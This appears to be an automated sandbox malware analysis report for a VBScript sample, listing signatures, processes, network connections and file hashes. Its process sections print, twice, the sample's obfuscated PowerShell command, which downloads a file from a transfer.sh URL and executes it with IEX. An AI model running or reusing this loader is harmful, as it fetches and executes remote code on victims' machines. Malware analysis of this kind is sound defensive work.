Malware Analysis Report

2025-08-05 17:02

Sample ID 240107-ybvvdacfhl
Target 498b038f610b49e31b24ac641a1010d4.unknown
SHA256 d424a08c1e1eac484c029a6ef4008bf991aebf26a86aa02fecd18ad60bb24a0f
Tags
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d424a08c1e1eac484c029a6ef4008bf991aebf26a86aa02fecd18ad60bb24a0f

Threat Level: Known bad

The file 498b038f610b49e31b24ac641a1010d4.unknown was found to be: Known bad.

Malicious Activity Summary


Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-01-07 19:37

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-01-07 19:37

Reported

2024-01-07 19:41

Platform

win7-20231215-en

Max time kernel

120s

Max time network

162s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\498b038f610b49e31b24ac641a1010d4.vbs"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\498b038f610b49e31b24ac641a1010d4.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://transfer.sh/get/1jmaVDV/model.txt';$EDRFGHNJMKDEFGHJ = 'nE----------------EbC++++++++++++++++T'.Replace('----------------','t.W').Replace('++++++++++++++++','lIEN');$SXDCFVGBHNJXDCFVGBHJK = 'DO*************aDST<<<<<<<<<>>>>>>>>>>>G'.Replace('*************','WnLo').Replace('<<<<<<<<<>>>>>>>>>>>','rIn');$SWXDECRFGYHUJISDFVGHJ ='I`EX(n`-------------`c`T $EDRFGHNJMKD<<<<<<<<<<<<<<>>>>>>>>>>>>>>GBHNJSDFGH)'.Replace('-------------','e`W`-Obj`E').Replace('<<<<<<<<<<<<<<>>>>>>>>>>>>>>','EFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCFV');&('I'+'EX')($SWXDECRFGYHUJISDFVGHJ -Join '')|&('I'+'EX');

Network

N/A

Files

memory/2068-4-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

memory/2068-5-0x0000000002290000-0x0000000002298000-memory.dmp

memory/2068-9-0x0000000002940000-0x00000000029C0000-memory.dmp

memory/2068-8-0x0000000002940000-0x00000000029C0000-memory.dmp

memory/2068-10-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

memory/2068-7-0x0000000002940000-0x00000000029C0000-memory.dmp

memory/2068-6-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

memory/2068-11-0x0000000002940000-0x00000000029C0000-memory.dmp

memory/2068-12-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-01-07 19:37

Reported

2024-01-07 19:39

Platform

win10v2004-20231215-en

Max time kernel

0s

Max time network

52s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\498b038f610b49e31b24ac641a1010d4.vbs"

Signatures

Enumerates physical storage devices

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\498b038f610b49e31b24ac641a1010d4.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://transfer.sh/get/1jmaVDV/model.txt';$EDRFGHNJMKDEFGHJ = 'nE----------------EbC++++++++++++++++T'.Replace('----------------','t.W').Replace('++++++++++++++++','lIEN');$SXDCFVGBHNJXDCFVGBHJK = 'DO*************aDST<<<<<<<<<>>>>>>>>>>>G'.Replace('*************','WnLo').Replace('<<<<<<<<<>>>>>>>>>>>','rIn');$SWXDECRFGYHUJISDFVGHJ ='I`EX(n`-------------`c`T $EDRFGHNJMKD<<<<<<<<<<<<<<>>>>>>>>>>>>>>GBHNJSDFGH)'.Replace('-------------','e`W`-Obj`E').Replace('<<<<<<<<<<<<<<>>>>>>>>>>>>>>','EFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCFV');&('I'+'EX')($SWXDECRFGYHUJISDFVGHJ -Join '')|&('I'+'EX');

Network

Country Destination Domain Proto
US 8.8.8.8:53 transfer.sh udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 16.53.126.40.in-addr.arpa udp
NL 52.142.223.178:80 tcp
DE 144.76.136.153:80 transfer.sh tcp
US 8.8.8.8:53 49.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
GB 96.17.178.74:80 tcp
GB 96.17.178.74:80 tcp
US 93.184.221.240:80 tcp
GB 96.17.178.74:80 tcp
GB 96.17.178.74:80 tcp

Files

memory/2632-9-0x00000154FCEA0000-0x00000154FCEC2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rn0n0x4w.4yq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2632-12-0x00000154FCF80000-0x00000154FCF90000-memory.dmp

memory/2632-11-0x00000154FCF80000-0x00000154FCF90000-memory.dmp

memory/2632-10-0x00007FFD39420000-0x00007FFD39EE1000-memory.dmp

memory/2632-13-0x00007FFD39420000-0x00007FFD39EE1000-memory.dmp

memory/2632-14-0x00000154FCF80000-0x00000154FCF90000-memory.dmp

memory/2632-15-0x00000154FCF80000-0x00000154FCF90000-memory.dmp

memory/2632-19-0x00007FFD39420000-0x00007FFD39EE1000-memory.dmp

memory/2632-16-0x00000154FCF80000-0x00000154FCF90000-memory.dmp